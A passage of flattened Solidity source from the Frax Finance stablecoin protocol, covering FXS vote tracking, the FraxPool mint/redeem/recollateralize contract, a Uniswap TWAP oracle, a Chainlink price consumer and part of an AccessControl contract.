checkpoints[address(this)][srcRepNum - 1].votes : 0; uint96 srcRepNew = add96(srcRepOld, uint96(m_amount), "pool_mint new votes overflows"); _writeCheckpoint(address(this), srcRepNum, srcRepOld, srcRepNew); // mint new votes trackVotes(address(this), m_address, uint96(m_amount)); } super._mint(m_address, m_amount); emit FXSMinted(address(this), m_address, m_amount); } // This function is what other frax pools will call to burn FXS function pool_burn_from(address b_address, uint256 b_amount) external onlyPools { if(trackingVotes){ trackVotes(b_address, address(this), uint96(b_amount)); uint32 srcRepNum = numCheckpoints[address(this)]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[address(this)][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, uint96(b_amount), "pool_burn_from new votes underflows"); _writeCheckpoint(address(this), srcRepNum, srcRepOld, srcRepNew); // burn votes } super._burnFrom(b_address, b_amount); emit FXSBurned(b_address, address(this), b_amount); } function toggleVotes() external onlyByOwnerOrGovernance { trackingVotes = !trackingVotes; } /* ========== OVERRIDDEN PUBLIC FUNCTIONS ========== */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if(trackingVotes){ // Transfer votes trackVotes(_msgSender(), recipient, uint96(amount)); } _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { if(trackingVotes){ // Transfer votes trackVotes(sender, recipient, uint96(amount)); } _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* ========== PUBLIC FUNCTIONS ========== */ /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "FXS::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /* ========== INTERNAL FUNCTIONS ========== */ // From compound's _moveDelegates // Keep track of votes. "Delegates" is a misnomer here function trackVotes(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "FXS::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "FXS::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address voter, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "FXS::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[voter][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[voter][nCheckpoints - 1].votes = newVotes; } else { checkpoints[voter][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[voter] = nCheckpoints + 1; } emit VoterVotesChanged(voter, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } /* ========== EVENTS ========== */ /// @notice An event thats emitted when a voters account's vote balance changes event VoterVotesChanged(address indexed voter, uint previousBalance, uint newBalance); // Track FXS burned event FXSBurned(address indexed from, address indexed to, uint256 amount); // Track FXS minted event FXSMinted(address indexed from, address indexed to, uint256 amount); event FRAXAddressSet(address addr); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ============================= FraxPool ============================= // ==================================================================== // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // Reviewer(s) / Contributor(s) // Sam Sun: https://github.com/samczsun import "../../Math/SafeMath.sol"; import '../../Uniswap/TransferHelper.sol'; import "../../Staking/Owned.sol"; import "../../FXS/FXS.sol"; import "../../Frax/Frax.sol"; import "../../ERC20/ERC20.sol"; import "../../Oracle/UniswapPairOracle.sol"; import "../../Governance/AccessControl.sol"; import "./FraxPoolLibrary.sol"; contract FraxPool is AccessControl, Owned { using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ ERC20 private collateral_token; address private collateral_address; address private frax_contract_address; address private fxs_contract_address; address private timelock_address; FRAXShares private FXS; FRAXStablecoin private FRAX; UniswapPairOracle private collatEthOracle; address public collat_eth_oracle_address; address private weth_address; uint256 public minting_fee; uint256 public redemption_fee; uint256 public buyback_fee; uint256 public recollat_fee; mapping (address => uint256) public redeemFXSBalances; mapping (address => uint256) public redeemCollateralBalances; uint256 public unclaimedPoolCollateral; uint256 public unclaimedPoolFXS; mapping (address => uint256) public lastRedeemed; // Constants for various precisions uint256 private constant PRICE_PRECISION = 1e6; uint256 private constant COLLATERAL_RATIO_PRECISION = 1e6; uint256 private constant COLLATERAL_RATIO_MAX = 1e6; // Number of decimals needed to get to 18 uint256 private immutable missing_decimals; // Pool_ceiling is the total units of collateral that a pool contract can hold uint256 public pool_ceiling = 0; // Stores price of the collateral, if price is paused uint256 public pausedPrice = 0; // Bonus rate on FXS minted during recollateralizeFRAX(); 6 decimals of precision, set to 0.75% on genesis uint256 public bonus_rate = 7500; // Number of blocks to wait before being able to collectRedemption() uint256 public redemption_delay = 1; // AccessControl Roles bytes32 private constant MINT_PAUSER = keccak256("MINT_PAUSER"); bytes32 private constant REDEEM_PAUSER = keccak256("REDEEM_PAUSER"); bytes32 private constant BUYBACK_PAUSER = keccak256("BUYBACK_PAUSER"); bytes32 private constant RECOLLATERALIZE_PAUSER = keccak256("RECOLLATERALIZE_PAUSER"); bytes32 private constant COLLATERAL_PRICE_PAUSER = keccak256("COLLATERAL_PRICE_PAUSER"); // AccessControl state variables bool public mintPaused = false; bool public redeemPaused = false; bool public recollateralizePaused = false; bool public buyBackPaused = false; bool public collateralPricePaused = false; /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == timelock_address || msg.sender == owner, "You are not the owner or the governance timelock"); _; } modifier notRedeemPaused() { require(redeemPaused == false, "Redeeming is paused"); _; } modifier notMintPaused() { require(mintPaused == false, "Minting is paused"); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _frax_contract_address, address _fxs_contract_address, address _collateral_address, address _creator_address, address _timelock_address, uint256 _pool_ceiling ) public Owned(_creator_address){ require( (_frax_contract_address != address(0)) && (_fxs_contract_address != address(0)) && (_collateral_address != address(0)) && (_creator_address != address(0)) && (_timelock_address != address(0)) , "Zero address detected"); FRAX = FRAXStablecoin(_frax_contract_address); FXS = FRAXShares(_fxs_contract_address); frax_contract_address = _frax_contract_address; fxs_contract_address = _fxs_contract_address; collateral_address = _collateral_address; timelock_address = _timelock_address; collateral_token = ERC20(_collateral_address); pool_ceiling = _pool_ceiling; missing_decimals = uint(18).sub(collateral_token.decimals()); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); grantRole(MINT_PAUSER, timelock_address); grantRole(REDEEM_PAUSER, timelock_address); grantRole(RECOLLATERALIZE_PAUSER, timelock_address); grantRole(BUYBACK_PAUSER, timelock_address); grantRole(COLLATERAL_PRICE_PAUSER, timelock_address); } /* ========== VIEWS ========== */ // Returns dollar value of collateral held in this Frax pool function collatDollarBalance() public view returns (uint256) { if(collateralPricePaused == true){ return (collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral)).mul(10 ** missing_decimals).mul(pausedPrice).div(PRICE_PRECISION); } else { uint256 eth_usd_price = FRAX.eth_usd_price(); uint256 eth_collat_price = collatEthOracle.consult(weth_address, (PRICE_PRECISION * (10 ** missing_decimals))); uint256 collat_usd_price = eth_usd_price.mul(PRICE_PRECISION).div(eth_collat_price); return (collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral)).mul(10 ** missing_decimals).mul(collat_usd_price).div(PRICE_PRECISION); //.mul(getCollateralPrice()).div(1e6); } } // Returns the value of excess collateral held in this Frax pool, compared to what is needed to maintain the global collateral ratio function availableExcessCollatDV() public view returns (uint256) { uint256 total_supply = FRAX.totalSupply(); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); uint256 global_collat_value = FRAX.globalCollateralValue(); if (global_collateral_ratio > COLLATERAL_RATIO_PRECISION) global_collateral_ratio = COLLATERAL_RATIO_PRECISION; // Handles an overcollateralized contract with CR > 1 uint256 required_collat_dollar_value_d18 = (total_supply.mul(global_collateral_ratio)).div(COLLATERAL_RATIO_PRECISION); // Calculates collateral needed to back each 1 FRAX with $1 of collateral at current collat ratio if (global_collat_value > required_collat_dollar_value_d18) return global_collat_value.sub(required_collat_dollar_value_d18); else return 0; } /* ========== PUBLIC FUNCTIONS ========== */ // Returns the price of the pool collateral in USD function getCollateralPrice() public view returns (uint256) { if(collateralPricePaused == true){ return pausedPrice; } else { uint256 eth_usd_price = FRAX.eth_usd_price(); return eth_usd_price.mul(PRICE_PRECISION).div(collatEthOracle.consult(weth_address, PRICE_PRECISION * (10 ** missing_decimals))); } } function setCollatETHOracle(address _collateral_weth_oracle_address, address _weth_address) external onlyByOwnerOrGovernance { collat_eth_oracle_address = _collateral_weth_oracle_address; collatEthOracle = UniswapPairOracle(_collateral_weth_oracle_address); weth_address = _weth_address; } // We separate out the 1t1, fractional and algorithmic minting functions for gas efficiency function mint1t1FRAX(uint256 collateral_amount, uint256 FRAX_out_min) external notMintPaused { uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals); require(FRAX.global_collateral_ratio() >= COLLATERAL_RATIO_MAX, "Collateral ratio must be >= 1"); require((collateral_token.balanceOf(address(this))).sub(unclaimedPoolCollateral).add(collateral_amount) <= pool_ceiling, "[Pool's Closed]: Ceiling reached"); (uint256 frax_amount_d18) = FraxPoolLibrary.calcMint1t1FRAX( getCollateralPrice(), collateral_amount_d18 ); //1 FRAX for each $1 worth of collateral frax_amount_d18 = (frax_amount_d18.mul(uint(1e6).sub(minting_fee))).div(1e6); //remove precision at the end require(FRAX_out_min <= frax_amount_d18, "Slippage limit reached"); TransferHelper.safeTransferFrom(address(collateral_token), msg.sender, address(this), collateral_amount); FRAX.pool_mint(msg.sender, frax_amount_d18); } // 0% collateral-backed function mintAlgorithmicFRAX(uint256 fxs_amount_d18, uint256 FRAX_out_min) external notMintPaused { uint256 fxs_price = FRAX.fxs_price(); require(FRAX.global_collateral_ratio() == 0, "Collateral ratio must be 0"); (uint256 frax_amount_d18) = FraxPoolLibrary.calcMintAlgorithmicFRAX( fxs_price, // X FXS / 1 USD fxs_amount_d18 ); frax_amount_d18 = (frax_amount_d18.mul(uint(1e6).sub(minting_fee))).div(1e6); require(FRAX_out_min <= frax_amount_d18, "Slippage limit reached"); FXS.pool_burn_from(msg.sender, fxs_amount_d18); FRAX.pool_mint(msg.sender, frax_amount_d18); } // Will fail if fully collateralized or fully algorithmic // > 0% and < 100% collateral-backed function mintFractionalFRAX(uint256 collateral_amount, uint256 fxs_amount, uint256 FRAX_out_min) external notMintPaused { uint256 fxs_price = FRAX.fxs_price(); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, "Collateral ratio needs to be between .000001 and .999999"); require(collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral).add(collateral_amount) <= pool_ceiling, "Pool ceiling reached, no more FRAX can be minted with this collateral"); uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals); FraxPoolLibrary.MintFF_Params memory input_params = FraxPoolLibrary.MintFF_Params( fxs_price, getCollateralPrice(), fxs_amount, collateral_amount_d18, global_collateral_ratio ); (uint256 mint_amount, uint256 fxs_needed) = FraxPoolLibrary.calcMintFractionalFRAX(input_params); mint_amount = (mint_amount.mul(uint(1e6).sub(minting_fee))).div(1e6); require(FRAX_out_min <= mint_amount, "Slippage limit reached"); require(fxs_needed <= fxs_amount, "Not enough FXS inputted"); FXS.pool_burn_from(msg.sender, fxs_needed); TransferHelper.safeTransferFrom(address(collateral_token), msg.sender, address(this), collateral_amount); FRAX.pool_mint(msg.sender, mint_amount); } // Redeem collateral. 100% collateral-backed function redeem1t1FRAX(uint256 FRAX_amount, uint256 COLLATERAL_out_min) external notRedeemPaused { require(FRAX.global_collateral_ratio() == COLLATERAL_RATIO_MAX, "Collateral ratio must be == 1"); // Need to adjust for decimals of collateral uint256 FRAX_amount_precision = FRAX_amount.div(10 ** missing_decimals); (uint256 collateral_needed) = FraxPoolLibrary.calcRedeem1t1FRAX( getCollateralPrice(), FRAX_amount_precision ); collateral_needed = (collateral_needed.mul(uint(1e6).sub(redemption_fee))).div(1e6); require(collateral_needed <= collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral), "Not enough collateral in pool"); require(COLLATERAL_out_min <= collateral_needed, "Slippage limit reached"); redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_needed); unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_needed); lastRedeemed[msg.sender] = block.number; // Move all external functions to the end FRAX.pool_burn_from(msg.sender, FRAX_amount); } // Will fail if fully collateralized or algorithmic // Redeem FRAX for collateral and FXS. > 0% and < 100% collateral-backed function redeemFractionalFRAX(uint256 FRAX_amount, uint256 FXS_out_min, uint256 COLLATERAL_out_min) external notRedeemPaused { uint256 fxs_price = FRAX.fxs_price(); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, "Collateral ratio needs to be between .000001 and .999999"); uint256 col_price_usd = getCollateralPrice(); uint256 FRAX_amount_post_fee = (FRAX_amount.mul(uint(1e6).sub(redemption_fee))).div(PRICE_PRECISION); uint256 fxs_dollar_value_d18 = FRAX_amount_post_fee.sub(FRAX_amount_post_fee.mul(global_collateral_ratio).div(PRICE_PRECISION)); uint256 fxs_amount = fxs_dollar_value_d18.mul(PRICE_PRECISION).div(fxs_price); // Need to adjust for decimals of collateral uint256 FRAX_amount_precision = FRAX_amount_post_fee.div(10 ** missing_decimals); uint256 collateral_dollar_value = FRAX_amount_precision.mul(global_collateral_ratio).div(PRICE_PRECISION); uint256 collateral_amount = collateral_dollar_value.mul(PRICE_PRECISION).div(col_price_usd); require(collateral_amount <= collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral), "Not enough collateral in pool"); require(COLLATERAL_out_min <= collateral_amount, "Slippage limit reached [collateral]"); require(FXS_out_min <= fxs_amount, "Slippage limit reached [FXS]"); redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_amount); unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_amount); redeemFXSBalances[msg.sender] = redeemFXSBalances[msg.sender].add(fxs_amount); unclaimedPoolFXS = unclaimedPoolFXS.add(fxs_amount); lastRedeemed[msg.sender] = block.number; // Move all external functions to the end FRAX.pool_burn_from(msg.sender, FRAX_amount); FXS.pool_mint(address(this), fxs_amount); } // Redeem FRAX for FXS. 0% collateral-backed function redeemAlgorithmicFRAX(uint256 FRAX_amount, uint256 FXS_out_min) external notRedeemPaused { uint256 fxs_price = FRAX.fxs_price(); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); require(global_collateral_ratio == 0, "Collateral ratio must be 0"); uint256 fxs_dollar_value_d18 = FRAX_amount; fxs_dollar_value_d18 = (fxs_dollar_value_d18.mul(uint(1e6).sub(redemption_fee))).div(PRICE_PRECISION); //apply fees uint256 fxs_amount = fxs_dollar_value_d18.mul(PRICE_PRECISION).div(fxs_price); redeemFXSBalances[msg.sender] = redeemFXSBalances[msg.sender].add(fxs_amount); unclaimedPoolFXS = unclaimedPoolFXS.add(fxs_amount); lastRedeemed[msg.sender] = block.number; require(FXS_out_min <= fxs_amount, "Slippage limit reached"); // Move all external functions to the end FRAX.pool_burn_from(msg.sender, FRAX_amount); FXS.pool_mint(address(this), fxs_amount); } // After a redemption happens, transfer the newly minted FXS and owed collateral from this pool // contract to the user. Redemption is split into two functions to prevent flash loans from being able // to take out FRAX/collateral from the system, use an AMM to trade the new price, and then mint back into the system. function collectRedemption() external { require((lastRedeemed[msg.sender].add(redemption_delay)) <= block.number, "Must wait for redemption_delay blocks before collecting redemption"); bool sendFXS = false; bool sendCollateral = false; uint FXSAmount = 0; uint CollateralAmount = 0; // Use Checks-Effects-Interactions pattern if(redeemFXSBalances[msg.sender] > 0){ FXSAmount = redeemFXSBalances[msg.sender]; redeemFXSBalances[msg.sender] = 0; unclaimedPoolFXS = unclaimedPoolFXS.sub(FXSAmount); sendFXS = true; } if(redeemCollateralBalances[msg.sender] > 0){ CollateralAmount = redeemCollateralBalances[msg.sender]; redeemCollateralBalances[msg.sender] = 0; unclaimedPoolCollateral = unclaimedPoolCollateral.sub(CollateralAmount); sendCollateral = true; } if(sendFXS){ TransferHelper.safeTransfer(address(FXS), msg.sender, FXSAmount); } if(sendCollateral){ TransferHelper.safeTransfer(address(collateral_token), msg.sender, CollateralAmount); } } // When the protocol is recollateralizing, we need to give a discount of FXS to hit the new CR target // Thus, if the target collateral ratio is higher than the actual value of collateral, minters get FXS for adding collateral // This function simply rewards anyone that sends collateral to a pool with the same amount of FXS + the bonus rate // Anyone can call this function to recollateralize the protocol and take the extra FXS value from the bonus rate as an arb opportunity function recollateralizeFRAX(uint256 collateral_amount, uint256 FXS_out_min) external { require(recollateralizePaused == false, "Recollateralize is paused"); uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals); uint256 fxs_price = FRAX.fxs_price(); uint256 frax_total_supply = FRAX.totalSupply(); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); uint256 global_collat_value = FRAX.globalCollateralValue(); (uint256 collateral_units, uint256 amount_to_recollat) = FraxPoolLibrary.calcRecollateralizeFRAXInner( collateral_amount_d18, getCollateralPrice(), global_collat_value, frax_total_supply, global_collateral_ratio ); uint256 collateral_units_precision = collateral_units.div(10 ** missing_decimals); uint256 fxs_paid_back = amount_to_recollat.mul(uint(1e6).add(bonus_rate).sub(recollat_fee)).div(fxs_price); require(FXS_out_min <= fxs_paid_back, "Slippage limit reached"); TransferHelper.safeTransferFrom(address(collateral_token), msg.sender, address(this), collateral_units_precision); FXS.pool_mint(msg.sender, fxs_paid_back); } // Function can be called by an FXS holder to have the protocol buy back FXS with excess collateral value from a desired collateral pool // This can also happen if the collateral ratio > 1 function buyBackFXS(uint256 FXS_amount, uint256 COLLATERAL_out_min) external { require(buyBackPaused == false, "Buyback is paused"); uint256 fxs_price = FRAX.fxs_price(); FraxPoolLibrary.BuybackFXS_Params memory input_params = FraxPoolLibrary.BuybackFXS_Params( availableExcessCollatDV(), fxs_price, getCollateralPrice(), FXS_amount ); (uint256 collateral_equivalent_d18) = (FraxPoolLibrary.calcBuyBackFXS(input_params)).mul(uint(1e6).sub(buyback_fee)).div(1e6); uint256 collateral_precision = collateral_equivalent_d18.div(10 ** missing_decimals); require(COLLATERAL_out_min <= collateral_precision, "Slippage limit reached"); // Give the sender their desired collateral and burn the FXS FXS.pool_burn_from(msg.sender, FXS_amount); TransferHelper.safeTransfer(address(collateral_token), msg.sender, collateral_precision); } /* ========== RESTRICTED FUNCTIONS ========== */ function toggleMinting() external { require(hasRole(MINT_PAUSER, msg.sender)); mintPaused = !mintPaused; emit MintingToggled(mintPaused); } function toggleRedeeming() external { require(hasRole(REDEEM_PAUSER, msg.sender)); redeemPaused = !redeemPaused; emit RedeemingToggled(redeemPaused); } function toggleRecollateralize() external { require(hasRole(RECOLLATERALIZE_PAUSER, msg.sender)); recollateralizePaused = !recollateralizePaused; emit RecollateralizeToggled(recollateralizePaused); } function toggleBuyBack() external { require(hasRole(BUYBACK_PAUSER, msg.sender)); buyBackPaused = !buyBackPaused; emit BuybackToggled(buyBackPaused); } function toggleCollateralPrice(uint256 _new_price) external { require(hasRole(COLLATERAL_PRICE_PAUSER, msg.sender)); // If pausing, set paused price; else if unpausing, clear pausedPrice if(collateralPricePaused == false){ pausedPrice = _new_price; } else { pausedPrice = 0; } collateralPricePaused = !collateralPricePaused; emit CollateralPriceToggled(collateralPricePaused); } // Combined into one function due to 24KiB contract memory limit function setPoolParameters(uint256 new_ceiling, uint256 new_bonus_rate, uint256 new_redemption_delay, uint256 new_mint_fee, uint256 new_redeem_fee, uint256 new_buyback_fee, uint256 new_recollat_fee) external onlyByOwnerOrGovernance { pool_ceiling = new_ceiling; bonus_rate = new_bonus_rate; redemption_delay = new_redemption_delay; minting_fee = new_mint_fee; redemption_fee = new_redeem_fee; buyback_fee = new_buyback_fee; recollat_fee = new_recollat_fee; emit PoolParametersSet(new_ceiling, new_bonus_rate, new_redemption_delay, new_mint_fee, new_redeem_fee, new_buyback_fee, new_recollat_fee); } function setTimelock(address new_timelock) external onlyByOwnerOrGovernance { timelock_address = new_timelock; emit TimelockSet(new_timelock); } /* ========== EVENTS ========== */ event PoolParametersSet(uint256 new_ceiling, uint256 new_bonus_rate, uint256 new_redemption_delay, uint256 new_mint_fee, uint256 new_redeem_fee, uint256 new_buyback_fee, uint256 new_recollat_fee); event TimelockSet(address new_timelock); event MintingToggled(bool toggled); event RedeemingToggled(bool toggled); event RecollateralizeToggled(bool toggled); event BuybackToggled(bool toggled); event CollateralPriceToggled(bool toggled); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import '../Uniswap/Interfaces/IUniswapV2Factory.sol'; import '../Uniswap/Interfaces/IUniswapV2Pair.sol'; import '../Math/FixedPoint.sol'; import '../Uniswap/UniswapV2OracleLibrary.sol'; import '../Uniswap/UniswapV2Library.sol'; import "../Staking/Owned.sol"; // Fixed window oracle that recomputes the average price for the entire period once every period // Note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period contract UniswapPairOracle is Owned { using FixedPoint for *; address timelock_address; uint public PERIOD = 3600; // 1 hour TWAP (time-weighted average price) uint public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale IUniswapV2Pair public immutable pair; address public immutable token0; address public immutable token1; uint public price0CumulativeLast; uint public price1CumulativeLast; uint32 public blockTimestampLast; FixedPoint.uq112x112 public price0Average; FixedPoint.uq112x112 public price1Average; modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address, "You are not an owner or the governance timelock"); _; } constructor(address factory, address tokenA, address tokenB, address _owner_address, address _timelock_address) public Owned(_owner_address) { IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB)); pair = _pair; token0 = _pair.token0(); token1 = _pair.token1(); price0CumulativeLast = _pair.price0CumulativeLast(); // Fetch the current accumulated price value (1 / 0) price1CumulativeLast = _pair.price1CumulativeLast(); // Fetch the current accumulated price value (0 / 1) uint112 reserve0; uint112 reserve1; (reserve0, reserve1, blockTimestampLast) = _pair.getReserves(); require(reserve0 != 0 && reserve1 != 0, 'UniswapPairOracle: NO_RESERVES'); // Ensure that there's liquidity in the pair timelock_address = _timelock_address; } function setTimelock(address _timelock_address) external onlyByOwnerOrGovernance { timelock_address = _timelock_address; } function setPeriod(uint _period) external onlyByOwnerOrGovernance { PERIOD = _period; } function setConsultLeniency(uint _consult_leniency) external onlyByOwnerOrGovernance { CONSULT_LENIENCY = _consult_leniency; } function setAllowStaleConsults(bool _allow_stale_consults) external onlyByOwnerOrGovernance { ALLOW_STALE_CONSULTS = _allow_stale_consults; } // Check if update() can be called instead of wasting gas calling it function canUpdate() public view returns (bool) { uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp(); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired return (timeElapsed >= PERIOD); } function update() external { (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair)); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired // Ensure that at least one full period has passed since the last update require(timeElapsed >= PERIOD, 'UniswapPairOracle: PERIOD_NOT_ELAPSED'); // Overflow is desired, casting never truncates // Cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)); price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)); price0CumulativeLast = price0Cumulative; price1CumulativeLast = price1Cumulative; blockTimestampLast = blockTimestamp; } // Note this will always return 0 before update has been called successfully for the first time. function consult(address token, uint amountIn) external view returns (uint amountOut) { uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp(); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired // Ensure that the price is not stale require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, 'UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE'); if (token == token0) { amountOut = price0Average.mul(amountIn).decode144(); } else { require(token == token1, 'UniswapPairOracle: INVALID_TOKEN'); amountOut = price1Average.mul(amountIn).decode144(); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "./AggregatorV3Interface.sol"; contract ChainlinkETHUSDPriceConsumer { AggregatorV3Interface internal priceFeed; constructor() public { priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); } /** * Returns the latest price */ function getLatestPrice() public view returns (int) { ( , int price, , , ) = priceFeed.latestRoundData(); return price; } function getDecimals() public view returns (uint8) { return priceFeed.decimals(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Utils/EnumerableSet.sol"; import "../Utils/Address.sol"; import "../Common/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; //bytes32(uint256(0x4B437D01b575618140442A4975db38850e3f8f5f) << 96); /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all 